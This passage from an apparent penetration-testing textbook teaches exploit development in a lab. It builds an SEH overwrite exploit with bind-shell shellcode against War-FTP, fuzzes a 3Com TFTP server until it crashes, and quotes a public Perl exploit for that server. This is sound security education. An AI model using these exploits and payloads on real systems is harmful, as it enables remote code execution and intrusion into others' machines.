Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4
Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0
Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6
Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2
Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2B"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.close()
Listing 18-2: Using pattern generation to pinpoint the SEH overwrite in the attack string
Structured Exception Handler Overwrites
405
Here we’ve generated a 1,150-character pattern and replaced the string
of As at u. Next, restart War-FTP in Immunity Debugger, and run the exploit
again. As shown in Figure 18-6, SEH is overwritten with 41317441.
Figure 18-6: SEH overwritten with Mona’s pattern
Now use !mona findmsp to find out where in our 1,150-character attack
string the SEH entry is overwritten, as shown in Figure 18-7.
Figure 18-7: Finding the SEH overwrite in the cyclic pattern
406 Chapter 18
Looking through the log output at C:\logs\war-ftpd\findmsp.txt, shown
in part here, we find that the NSEH entry is overwritten 569 bytes into the
attack string. Recall from Figure 18-1 that SEH chain entries are made up
of eight bytes (the NSEH entry followed by the SEH pointer). Thus our SEH
overwrite is at 573 bytes into our attack string (four bytes after NSEH).
[+] Examining SEH chain
SEH record (nseh field) at 0x00affd94 overwritten with normal pattern :
0x41317441 (offset 569), followed by 577 bytes of cyclic data
Passing Control to SEH
Back on the Windows XP target, the bottom of the Immunity Debugger
screen shows the access violation and also notes that you can type shiftF7/F8/F9 to pass an exception to the program. In this case, the program
will attempt to execute the memory address 41317441, the string that has
overwritten SEH. Use shift-F9 to run the program until the next error
occurs. As shown in Figure 18-8, the program receives an access violation
when attempting to access the memory address 41317441. As in the previous
examples, we will put a useful memory address in the place of 41317441 to
successfully hijack execution.
Also note in Figure 18-8 that when execution is passed to SEH, many
of our registers have been zeroed out. This might make jumping to an
attacker-controlled register more difficult.
Figure 18-8: Execution is passed to the overwritten SEH.
Structured Exception Handler Overwrites
407
Of the registers that have not been zeroed out, none appears to point
to a portion of our attack string. Clearly, a simple JMP ESP in SEH will not
work to redirect execution to attacker-controlled memory. Things are still
looking pretty bleak in our search for exploitability.
Finding the Attack String in Memory
Of course, in this case, we already have a working saved return pointer
overwrite exploit. However, some programs will be vulnerable only to SEH
overwrites, so developing a method to exploit these issues is of the utmost
importance. Luckily, an attacker-controlled memory address is on the horizon for SEH overwrites. As shown in Figure 18-9, highlight the ESP register
in Immunity Debugger, right-click, and select Follow in Stack.
Figure 18-9: Following ESP on the stack
Though the contents of the ESP register do not point to any part of our
cyclic pattern, two steps down from ESP, at ESP+8, we see that memory address
00AFD94 points to our cyclic pattern in memory, as shown in Figure 18-10. If we
can find a way to remove two elements from the stack and then execute the
contents of this memory address, we can execute shellcode in place of
the pattern.
408 Chapter 18
Figure 18-10: Cyclic pattern eight bytes higher than ESP
The location of NSEH is 00AFFD94, as noted by the output of Mona’s
findmsp command. We can verify this by right-clicking 00AFFD94 in the stack
pane and clicking Follow in Stack, as shown in Figure 18-11.
Figure 18-11: Cyclic pattern in the pointer to the next SEH record
Structured Exception Handler Overwrites
409
As discussed earlier, SEH entries are eight-byte-long linked lists consisting of a pointer to the next SEH record in the chain and the memory
address of the handler on the stack. If we can load ESP+8 into EIP, we can
execute some shellcode. Unfortunately, it looks like we have only four bytes
to work with before we hit the SEH entry itself, but let’s deal with one problem at a time. We need to find a viable way of getting to our shellcode, and
then we will return to making our shellcode fit into the space available.
Before we move on, let’s verify that our offsets are correct, as shown in
Listing 18-3.
#!/usr/bin/python
import socket
buffer = "A" * 569 + "B" * 4 + "C" * 4 + "D" * 573 u
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.close()
Listing 18-3: Verifying overwrite offsets
Edit your exploit program to send over 569 As, followed by 4 Bs, followed
by 4 Cs, and rounding out the 1,150 byte attack string with 573 Ds at u.
Restart War-FTP and run the exploit again. We see in Figure 18-12 that
SEH is overwritten by our 4 Cs.
Figure 18-12: SEH is overwritten by four Cs.
410 Chapter 18
If we again type shift-F9 to pass the exception handler to the crashed
program, War-FTP crashes a second time when accessing the memory
address 43434343, our Cs. Now follow the ESP register in the stack. As shown
in Figure 18-13, ESP+8 points to a memory address filled with the four Bs
followed by our four Cs and then the Ds.
Figure 18-13: ESP+8 is attacker controlled.
Our offsets are correct. Now to find a way to redirect execution to ESP+8.
Unfortunately, a simple JMP ESP won’t cut it this time.
POP POP RET
We need an instruction, or series of instructions, that will allow us to move
eight bytes down the stack and then execute the contents of the memory
address located at ESP+8. To figure out the assembly instructions we need,
we must consider how the stack works.
The stack is a last-in, first-out (LIFO) structure. The analogy of a stack
of trays in a cafeteria is often used for this concept. The last tray put on the
stack by cafeteria staff is the first one grabbed by a cafeteria patron. The
assembly command equivalents of the tray being added to the stack and
then picked up by a patron are PUSH and POP, respectively.
Recall that ESP points to the top (lowest memory address) of the current stack frame. If we use the POP instruction to pop one entry (four bytes)
off the stack, ESP will now point to ESP+4. Thus, if we execute two POP
instructions in succession, ESP will now point to ESP+8, which is exactly
what we are going for.
Structured Exception Handler Overwrites
411
Finally, to redirect our execution to our attacker-controlled string,
we need to load the value of ESP+8 (now in ESP after our two POP instructions) into EIP (the next memory address to be executed). Luckily, there’s
an instruction for that, namely, the RET instruction. By design, RET takes the
contents of the ESP register and loads them into EIP to be executed next.
If we can find these three instructions, POP <some register>, POP <some
register>, RET (often abbreviated by exploit developers as POP POP RET), we
should be able to redirect the program’s execution by overwriting SEH with
the memory address of the first POP instruction. The contents of ESP will
then be popped into the register indicated by the instruction. We don’t particularly care which register gets the honor of holding the popped-off data,
as long as it’s not ESP itself. We care only about burning things off the stack
until we get to ESP+8.
Next, the second POP instruction is executed. Now ESP points to the
original ESP+8. Then, the RET instruction is executed, and ESP (ESP+8
when the SEH was executed) is loaded into EIP. Recall from the previous
section that ESP+8 held a memory address that points to byte 569 of our
attacker-controlled string.
Note
As with JMP ESP, it is not a hard requirement that we find POP POP RET instructions.
Logical equivalents, such as adding eight bytes to ESP followed by a RET and others,
would work just as well.
Though this technique is a little more complicated, it’s similar to the
saved return pointer buffer overflow exercise we completed in Chapter 17.
We are hijacking the program’s execution and redirecting it to our shellcode. Now we need to find an instance of POP POP RET instructions in WarFTP or its executable modules.
SafeSEH
As SEH overwrite attacks have become prevalent, Microsoft has come
up with ways to stop them from working. One such example is SafeSEH.
Programs compiled with SafeSEH record the memory locations that will be
used for structured exception handling, which means that attempts to redirect execution to a memory location with POP POP RET instructions will fail
the SafeSEH check.
It’s important to realize that even if DLLs in Windows XP SP2 and later
are compiled with SafeSEH, third-party software doesn’t have to implement
this mitigation technique. If War-FTP or any of its custom DLLs do not use
SafeSEH, we may not have to deal with this check.
Mona will determine which modules are not compiled with SafeSEH
in the process of finding the POP POP RET instructions when we use the command !mona seh, as shown in Figure 18-14.
412 Chapter 18
Figure 18-14: Running the SEH command in Mona
The results of !mona seh are written to C:\logs\war-ftpd\seh.txt, as shown in
part here.
0x5f401440 : pop edi # pop ebx # ret 0x04 | asciiprint,ascii {PAGE_EXECUTE_
READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False,
v4.2.6256 (C:\Documents and Settings\georgia\Desktop\MFC42.DLL)
0x5f4021bf : pop ebx # pop ebp # ret 0x04 | {PAGE_EXECUTE_READ} [MFC42.DLL]
ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.2.6256 (C:\Documents
and Settings\georgia\Desktop\MFC42.DLL)
0x5f4580ca : pop ebx # pop ebp # ret 0x04 | {PAGE_EXECUTE_READ} [MFC42.DLL]
ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.2.6256 (C:\Documents
and Settings\georgia\Desktop\MFC42.DLL)
0x004012f2 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ}
[war-ftpd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.6.5.0
(C:\Documents and Settings\georgia\Desktop\war-ftpd.exe)
As you can see from the output, the only modules without SafeSEH
are the War-FTP executable itself and a War-FTP-included DLL called
MFC42.dll. We need to choose an instance of POP POP RET (or a logical
equivalent) from Mona’s output that avoids the four bad characters discussed in Chapter 17 (\x00, \x40, \x0a, \x0d). (To have Mona automatically
exclude entries with bad characters during the search, enter !mona seh -cpb
"\x00\x40\x0a\x0d". One such address is 5F4580CA. The instructions are POP EBX,
POP EBP, RET. Again, we don’t care where the instructions are stored, as long
as we POP two entries off the stack. If we overwrite SEH with the address
5F4580CA, these instructions will be executed, and we will redirect execution
to our attack string.
Structured Exception Handler Overwrites
413
Before we move on, set a breakpoint at 5F4580CA with bp 0x5F4580CA, as
shown in Figure 18-15.
Figure 18-15: Breakpoint at the POP POP RET
Replace the four Cs in the previous exploit with the POP POP RET memory
address in little-endian format, as shown in Listing 18-4.
#!/usr/bin/python
import socket
buffer = "A" * 569 + "B" * 4 + "\xCA\x80\x45\x5F" + "D" * 573
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.close()
Listing 18-4: Replacing the SEH overwrite with POP POP RET
Now run the exploit again. As you can see in Figure 18-16, the program
crashes again, and, as expected, SEH is overwritten with 5F4580CA.
414 Chapter 18
Figure 18-16: SEH overwritten with a POP POP RET address
Type shift-F9 to let the program pass the overwritten exception handler. As expected, we hit our breakpoint, as shown in Figure 18-17.
Figure 18-17: We hit our breakpoint.
Structured Exception Handler Overwrites
415
The CPU pane (top left) shows that the next instructions to be executed are the POP POP RET. Press F7 to step through the instructions one at
a time, and watch what happens to the stack (bottom right) as you do. You
will see ESP move down to a higher address as we execute the POP instructions. As you can see in Figure 18-18, when we execute the RET instruction
we end up in our attack string, at the pointer to the NSEH record, which is
currently filled with four Bs.
Figure 18-18: Execution is redirected to your attack string.
We have solved our first problem: We have redirected the program’s
execution to our attack string. Unfortunately, as we can see in Figure 18-18,
we only have four useable bytes before we run into our SEH overwrite
address, 5F4580CA. We have a long string of Ds after the SEH address, but
currently we are stuck with only four bytes to work with. We won’t be able
to do much with only four bytes of shellcode.
Using a Short Jump
We need to somehow bypass the return address and get to our long string
of Ds, which has plenty of space for our final shellcode. We can use the short
jump assembly instruction to move EIP a short distance. This method is ideal
for our purposes because we need to jump over the four bytes of the SEH
overwrite.
The hexadecimal representation of a short jump is \xEB <length to jump>.
Padding the short jump instruction \xEB <length to jump> with two bytes
to take up all four bytes before the SEH overwrite, we can jump forward
six bytes over the padding and the SEH overwrite.
416 Chapter 18
Edit the attack string to include a short jump, as shown in Listing 18-5.
#!/usr/bin/python
import socket
buffer = "A" * 569 + "\xEB\x06" + "B" * 2 + "\xCA\x80\x45\x5F" + "D" * 570
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.close()
Listing 18-5: Adding a short jump
As shown in Listing 18-5, this time we replace the NSEH (previously
four Bs) with "\xEB\x06" + "B" * 2. Reset your breakpoint at the POP POP RET
before running the exploit again, and when you hit the breakpoint, step
through the program line by line (F7) to see what is happening. Now after
the POP POP RET we have a six-byte short jump, as shown in Figure 18-19.
Figure 18-19: Execution is redirected to the short jump.
Now press F7 to execute the short jump. As shown in Figure 18-20, the
short jump successfully bypasses the SEH overwrite address and redirects
execution to the rest of our attack string (Ds).
Structured Exception Handler Overwrites
417
Figure 18-20: The short jump gets us past the SEH overwrite.
Choosing a Payload
We have now redirected execution a second time, to a longer part of our
controlled memory—an ideal place for our shellcode. Now to choose a payload and generate it with Msfvenom, as shown here.
[email protected]:~# msfvenom -p windows/shell_bind_tcp -s 573 -b '\x00\x40\x0a\x0d'
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
buf =
"\xbe\xa5\xfd\x18\xa6\xd9\xc6\xd9\x74\x24\xf4\x5f\x31\xc9" +
--snip--
Remember to tell Msfvenom to use a maximum size of 573 bytes and
exclude our bad characters for the FTP username. (Again, you might be
able to go a little bit longer, but our original exception occurs because we
are writing off the end of the stack. We want to make sure all of our shellcode is executed.)Now add the shellcode to our exploit in place of the Ds.
To make the exploit long enough to trigger the SEH overwrite (instead of
the saved return pointer overwrite we saw in Chapter 17), pad the exploit
string out to 1,150 characters with Ds. The finished exploit is shown in
Listing 18-6. Our shellcode goes directly after our SEH overwrite. (In this
example, we again use a Windows bind shell.)
#!/usr/bin/python
import socket
shellcode = ("\xbe\xa5\xfd\x18\xa6\xd9\xc6\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x56\x31\x77\x13\x83\xc7\x04\x03\x77\xaa\x1f\xed\x5a" +
"\x5c\x56\x0e\xa3\x9c\x09\x86\x46\xad\x1b\xfc\x03\x9f\xab" +
418 Chapter 18
"\x76\x41\x13\x47\xda\x72\xa0\x25\xf3\x75\x01\x83\x25\xbb" +
"\x92\x25\xea\x17\x50\x27\x96\x65\x84\x87\xa7\xa5\xd9\xc6" +
"\xe0\xd8\x11\x9a\xb9\x97\x83\x0b\xcd\xea\x1f\x2d\x01\x61" +
"\x1f\x55\x24\xb6\xeb\xef\x27\xe7\x43\x7b\x6f\x1f\xe8\x23" +
"\x50\x1e\x3d\x30\xac\x69\x4a\x83\x46\x68\x9a\xdd\xa7\x5a" +
--snip-buffer = "A" * 569 + "\xEB\x06" + "B" * 2 + "\xCA\x80\x45\x5F" +
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.close()
shellcode + "B" * 205
Listing 18-6: The finished SEH overwrite exploit
When War-FTP is attached to Immunity Debugger, we have to manually
tell the debugger to pass SEH to the program. When we run War-FTP without a debugger and an error is encountered, execution is automatically passed
to SEH, executing POP POP RET, the short jump, and finally our shellcode.
Summary
We have successfully built an SEH overwrite exploit for War-FTP. Though
War-FTP allowed us to exploit the buffer overflow vulnerability by directly
overwriting a return address or SEH, some vulnerable programs will not
crash in a way that will allow you to control EIP but will allow you to overwrite SEH. In such cases, knowing the steps to exploit this sort of crash is
paramount to creating a working exploit. Due to the way structured exception handlers work, you can count on NSEH being at ESP+8 every time
you encounter this type of crash. When you overwrite SEH, you will find
the pointer to the next SEH record at ESP+8. After executing a POP POP RET
series of instructions from a module that is not compiled with SafeSEH,
you will need to execute a short jump to get to your shellcode in the attack
string. If you continue in exploit development, you may run into another
challenge where \xEB is a bad character, so you will need to find other ways
of performing a jump.
In the next chapter we will finish up our study of the basics of exploit
development with a few odds and ends, such as first discovering a crash
using a technique called fuzzing, porting public exploit code to meet our
needs, and writing our own Metasploit modules.
Structured Exception Handler Overwrites
419
19
F u z z ing, P or t ing E x ploi t s,
a nd Me ta sploit Module s
In this chapter, we will review a few more basic exploit
development techniques. We will look at using a technique called fuzzing to find potential exploits in vulnerable programs. We will also cover working with public
exploit code and safely porting it to meet our needs, as
well the basics of building our own Metasploit modules.
Finally, we will discuss some of the exploitation mitigation techniques that our targets may have in place.
Fuzzing Programs
In Chapter 17, we exploited War-FTP version 1.65’s Username field buffer
overflow with a 1,100-byte exploit string. The natural question is, how did
we know that 1,100 As in the Username field would crash the program, and,
more importantly, how did security researchers find this vulnerability for
the first time? In some cases, source code for programs is publicly available, so a researcher looking for vulnerabilities need only be well versed in
secure coding practices. In other cases, we can use a popular method called
fuzzing to send various inputs to a program, hoping that something strange
will happen.
Finding Bugs with Code Review
In Chapter 16, we used a short Linux program to illustrate a buffer overflow
vulnerability. When auditing the source code of this program (as shown in
Listing 19-1), we see the strcpy function u. As discussed in that chapter, this
function does no bounds checking and may be a security risk.
#include <string.h>
#include <stdio.h>
void overflowed() {
printf("%s\n", "Execution Hijacked");
}
void function(char *str){
char buffer[5];
strcpy(buffer, str); u
}
void main(int argc, char *argv[])
{
function(argv[1]); v
printf("%s\n", "Executed normally");
}
Listing 19-1: Vulnerable C code
Reading through this source code, we see that user input (the first program argument) is passed to function v. The user input is then copied into
a five-character string called buffer using strpy u. As we saw in Chapter 16,
we can exploit this behavior to create a stack-based buffer overflow.
Fuzzing a Trivial FTP Server
When we don’t have access to a program’s source code, we have to use other
methods to find potentially exploitable security issues. We can use fuzzing
to send various inputs to the program that the developer never intended
the code to process. If we can find input that will manipulate memory in a
controllable way, we may be able to exploit the program.
In Chapter 17, when exploiting War-FTP 1.65, we first made the program crash by sending 1,100 As in the Username field. Once we determined
that EIP contained four As, as well as a long string of As from the ESP register, we concluded that this issue was exploitable and proceeded to write a
working stack-based buffer overflow exploit. In the following example, we
start a step earlier and use fuzzing to determine how many As we need to
send to a program in order to crash it.
422 Chapter 19
We can use fuzzing techniques to trigger crashes, which we can
use to build exploits. Let’s look at an example of fuzzing a Trivial FTP
(TFTP) server to find an exploitable vulnerability. We’ll use the 3Com
TFTP server version 2.0.1, which we found on our Windows XP system
during post exploitation.
TFTP runs by default on UDP port 69. Because it is connectionless, we
will need to know the syntax for TFTP communication to send UDP packets that the TFTP software will attempt to process. According to TFTP’s
Request for Comment (RFC) page, a proper TFTP packet is in the format
shown in Listing 19-2. To get TFTP to respond to us, we need to follow this
specification.
2 bytes
string
1 byte
string
1 byte
-----------------------------------------------| Opcode | Filename |
0 |
Mode
|
0 |
-----------------------------------------------Listing 19-2: TFTP packet format
When considering stack-based buffer overflow attacks, look for places
where the user controls the size and content of the input. If we can send
input that technically meets the TFTP specification but which contains input
that the code was not designed to process, we may be able to trigger a stackbased buffer overflow vulnerability. In the case of this TFTP server, the first
field, Opcode, is always two bytes long and includes one of the following
strings:
Opcode
Operation
01
Read request (RRQ)
02
Write request (WRQ)
03
Data (DATA)
04
Acknowledgment (ACK)
05
Error (ERROR)
However, we can control the Filename field. In a real TFTP request,
this is where we would tell the server the filename we want to read, write,
and so on. The length is variable and the contents of the string are user
controlled, so this may be a good place to look for stack-based buffer overflow vulnerabilities. For example, perhaps the author of the code was not
expecting anyone to enter a filename that is 1,000 characters long. After all,
who would want to type in a 1,000-character filename?
The next field is a null byte, which signifies the end of the filename. We
can’t control this field, but we can control the fourth field, Mode, which is
a user-controlled variable string. According to the RFC, TFTP’s supported
modes include netascii, octet, and mail. This is an ideal place for us to fuzz,
because developers are expecting only eight characters or less for this field.
The TFTP packet ends with a null byte to signify the end of the Mode.
Fuzzing, Porting Exploits, and Metasploit Modules 423
Attempting a Crash
For our fuzzing exercise, we will craft a succession of legitimate TFTP packets with bogus and increasingly long input in the Mode field. If the TFTP
processes the packets correctly, it should say the Mode is unrecognized and
stop processing the packet. Perhaps if we can trigger a stack-based buffer
overflow vulnerability, the results will be different, and we can cause the program to crash. To do this, we will again write a simple Python program.
Instead of setting our buffer variable to a string of 1,100 As, as in the
War-FTP exploitation examples in Chapters 17 and 18, we’ll create an array
of strings of variable length in Listing 19-3.
#!/usr/bin/python
import socket
bufferarray = ["A"*100] u
addition = 200
while len(bufferarray) <= 50: 
bufferarray.append("A"*addition) w
addition += 100
for value in bufferarray: x
tftppacket = "\x00\x02" + "Georgia" + "\x00" + value + "\x00" y
print "Fuzzing with length " + str(len(value))
s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) z
s.sendto(tftppacket,('192.168.20.10',69))
response = s.recvfrom(2048)
print response
Listing 19-3: A simple TFTP fuzzing program
The first entry in the array will be a string of 100 As u. But before we
send any packets to the TFTP server, let’s create the rest of the fuzzing
strings and append them to our array by adding new fuzzing strings in
increments of 100. Using a while loop, we will append progressively longer strings to the array until it is 50 elements long v. Each time we cycle
through the while loop, a new element will be appended to the array w.
After we have created our fuzzing strings and the while loop exits, we will
enter a for loop , which will grab each element of the array in turn and
send it within the Mode field of a legitimate TFTP packet y.
Our packet meets the specifications from the TFTP RFC. We have used
the mode 02 (write request) and the filename Georgia. Our string of As from
the array are put into the Mode field. Hopefully, one of our increasingly
long strings will cause a crash.
Setting up our network socket is a little different from what we learned
in the previous chapter when attacking FTP in Python. Because TFTP is a
UDP protocol, we need to set up a UDP socket as opposed to a TCP socket,
so the syntax is slightly different z. Save the Python code as tftpfuzzer, and
make it executable.
Before we start sending fuzzing packets, switch back to your Windows
XP machine and attach to the 3CTftpSvc process with Immunity Debugger,
as shown in Figure 19-1. This will allow us to view the contents of memory
424 Chapter 19
if we cause a crash to verify whether we have gained control of EIP. (Don’t
forget to tell the program to continue running by clicking the play button
at the top of the Immunity Debugger window.)
Figure 19-1: Attaching Immunity Debugger to the 3Com TFTP server
Now, in Listing 19-4, we run the TFTP fuzzer program we created in
Listing 19-3.
[email protected]:~# ./tftpfuzzer
Fuzzing with length100
('\x00\x05\x00\x04Unknown or unsupported transfer mode : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00',u ('192.168.20.10', 4484))
Fuzzing with length 200
('\x00\x05\x00\x04Unknown or unsupported transfer mode : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00', ('192.168.20.10', 4485))
Fuzzing with length 300
('\x00\x05\x00\x04Unknown or unsupported transfer mode : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00', ('192.168.20.10', 4486))
Fuzzing with length 400
('\x00\x05\x00\x04Unknown or unsupported transfer mode : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00', ('192.168.20.10', 4487))
Fuzzing, Porting Exploits, and Metasploit Modules 425
Fuzzing with length 500
('\x00\x05\x00\x04Unk\x00', ('192.168.20.10', 4488))
Fuzzing with length 600 v
Listing 19-4: Fuzzing 3Com TFTP
As the program runs through the successive strings of As in the Mode
field, the TFTP server replies that it doesn’t know that transport mode u.
When the fuzzing program attempts to fuzz with a length of 600, it receives
no response from the TFTP server v, which leads us to believe that a transport mode of 500 As crashed the server, such that it could not respond to us
when we sent over 600 As.
Looking back at the 3Com TFTP server in Immunity Debugger
(Figure 19-2), we see that it has crashed with 41414141 in EIP. Also note the
short string of As in the register ESP and the much longer string of As in the
register ESI. It seems that by sending over a string of 500 characters in the
Mode field, we can control execution and the contents of some memory registers: an ideal situation for writing a stack-based buffer overflow exploit.
Figure 19-2: 3Com TFTP has crashed.
Using the techniques learned in the previous chapter when exploiting
War-FTP, see if you can develop a working exploit for the 3Com TFTP 2.0.1
without help from the text. In this case, the saved return pointer overwrite
is at the end of the exploit string, and the shellcode in ESI will be earlier in
the exploit string. (You’ll find a completed Python exploit for this exercise
in “Writing Metasploit Modules” on page 432. Refer to that code if you get
stuck.)
To restart 3Com TFTP after a crash, browse to C:\Windows, open
3CTftpSvcCtrl, and click Start Service, as shown in Figure 19-3. Then
reattach to the new process in Immunity Debugger.
426 Chapter 19
Figure 19-3: 3Com TFTP Service Control dialog
Porting Public Exploits to Meet Your Needs
Sometimes you may find an exploitable vulnerability on your pentest, but
there is no Metasploit module available to exploit it. While the Metasploit
team and contributing module writers from the community do an excellent
job of keeping Metasploit up-to-date with current threats, not every known
exploit on the Internet has been ported to the framework.
We can attempt to develop a working exploit by downloading the target
software and developing a working exploit, but that approach is not always
feasible. The software in question may come with a license fee so expensive
that you would end up losing money on the pentest, or it may not be available from the vendor or elsewhere. In addition, your pentest may have a
limited time frame, and so you would be better off looking for additional
vulnerabilities in the environment rather than spending significant time on
custom-exploit development.
One way to develop your own working exploits is to use publicly available
exploits as a base and port them to your environment. Even if a vulnerability lacks a corresponding Metasploit module, you may be able to find proofof-concept exploit code on a website like Exploit Database (http://www
.exploit-db.com/) or SecurityFocus (http://www.securityfocus.com/). Although
public exploit code should always be used with caution (not everything
online does what it says it does), with some due diligence, we can use public
exploit code safely.
Let’s start with a public exploit for the 3Com TFTP 2.0.1 long transport mode vulnerability from Exploit Database, found online at http://www
.exploit-db.com/exploits/3388/ and shown in Listing 19-5.
#!/usr/bin/perl –w u
#===============================================================
#
3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow Perl Exploit
#
By Umesh Wanve ([email protected])
#===============================================================
# Credits : Liu Qixu is credited with the discovery of this vulnerability.
Fuzzing, Porting Exploits, and Metasploit Modules 427
# Reference : http://www.securityfocus.com/bid/21301
# Date : 27-02-2007
# Tested on Windows 2000 SP4 Server English v
#
Windows 2000 SP4 Professional English
# You can replace shellcode with your favourite one :
# Buffer overflow exists in transporting mode name of TFTP server.
# So here you go.
# Buffer = "\x00\x02"
+ "filename"
+ "\x00" + nop sled + Shellcode + JUMP + "\x00";
# This was written for educational purpose. Use it at your own risk. Author will not be
# responsible for any damage.
#===============================================================
use IO::Socket;
if(!($ARGV[1]))
{
print "\n3COM Tftp long transport name exploit\n";
print "\tCoded by Umesh wanve\n\n";
print "Use: 3com_tftp.pl <host> <port>\n\n";
exit;
}
$target = IO::Socket::INET->new(Proto=>'udp',
PeerAddr=>$ARGV[0],
PeerPort=>$ARGV[1])
or die "Cannot connect to $ARGV[0] on port $ARGV[1]";
# win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com
my($shellcode)= w
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x48".
"\xc8\xb3\x54\x83\xeb\xfc\xe2\xf4\xb4\xa2\x58\x19\xa0\x31\x4c\xab".
"\xb7\xa8\x38\x38\x6c\xec\x38\x11\x74\x43\xcf\x51\x30\xc9\x5c\xdf".
--snip-"\xc3\x9f\x4f\xd7\x8c\xac\x4c\x82\x1a\x37\x63\x3c\xb8\x42\xb7\x0b".
"\x1b\x37\x65\xab\x98\xc8\xb3\x54";
print "++ Building Malicious Packet .....\n";
$nop="\x90" x 129;
$jmp_2000 = "\x0e\x08\xe5\x77";# jmp esi user32.dll windows 2000 sp4 english
$exploit = "\x00\x02";
#write request (header)
$exploit=$exploit."A";
#file name
$exploit=$exploit."\x00";
#Start of transporting name
$exploit=$exploit.$nop;
#nop sled to land into shellcode
$exploit=$exploit.$shellcode;
#our Hell code
#jump to shellcode
$exploit=$exploit.$jmp_2000;
$exploit=$exploit."\x00";
#end of TS mode name
print $target $exploit;
#Attack on victim
print "++ Exploit packet sent ...\n";
print "++ Done.\n";
print "++ Telnet to 4444 on victim's machine ....\n";
sleep(2);
close($target);
exit;
#---------------------------------------------------------------------------------# milw0rm.com [2007-02-28]
Listing 19-5: Public exploit for 3Com TFTP
428 Chapter 19
This exploit is written in Perl u. To use public exploits, you will need basic
reading knowledge in a number of languages. Additionally, this exploit targets Windows 2000 SP4 v, whereas our target is Windows XP SP3. We will
need to make some changes to port this exploit to our platform.
The shellcode included with this exploit claims to have been generated
using Metasploit and to open a bind shell on port 4444 w.
Note
No offense intended to the original author of this exploit, but in a public exploit,
always be wary of anything you can’t read. Additionally, be aware that the included
shellcode may not work for your environment. For example, it may be a reverse shell
headed to a static IP address and port. Therefore, it is good practice to use Msfvenom
to generate new, trustworthy shellcode before running any public exploit.
Reading through the exploit, we see that the author creates a TFTP
packet similar to the one we created in our fuzzing example earlier in the
chapter . The Mode field is filled with a NOP sled of 129 characters ,
344 bytes of shellcode , and the four-byte return address  (in this case, a JMP
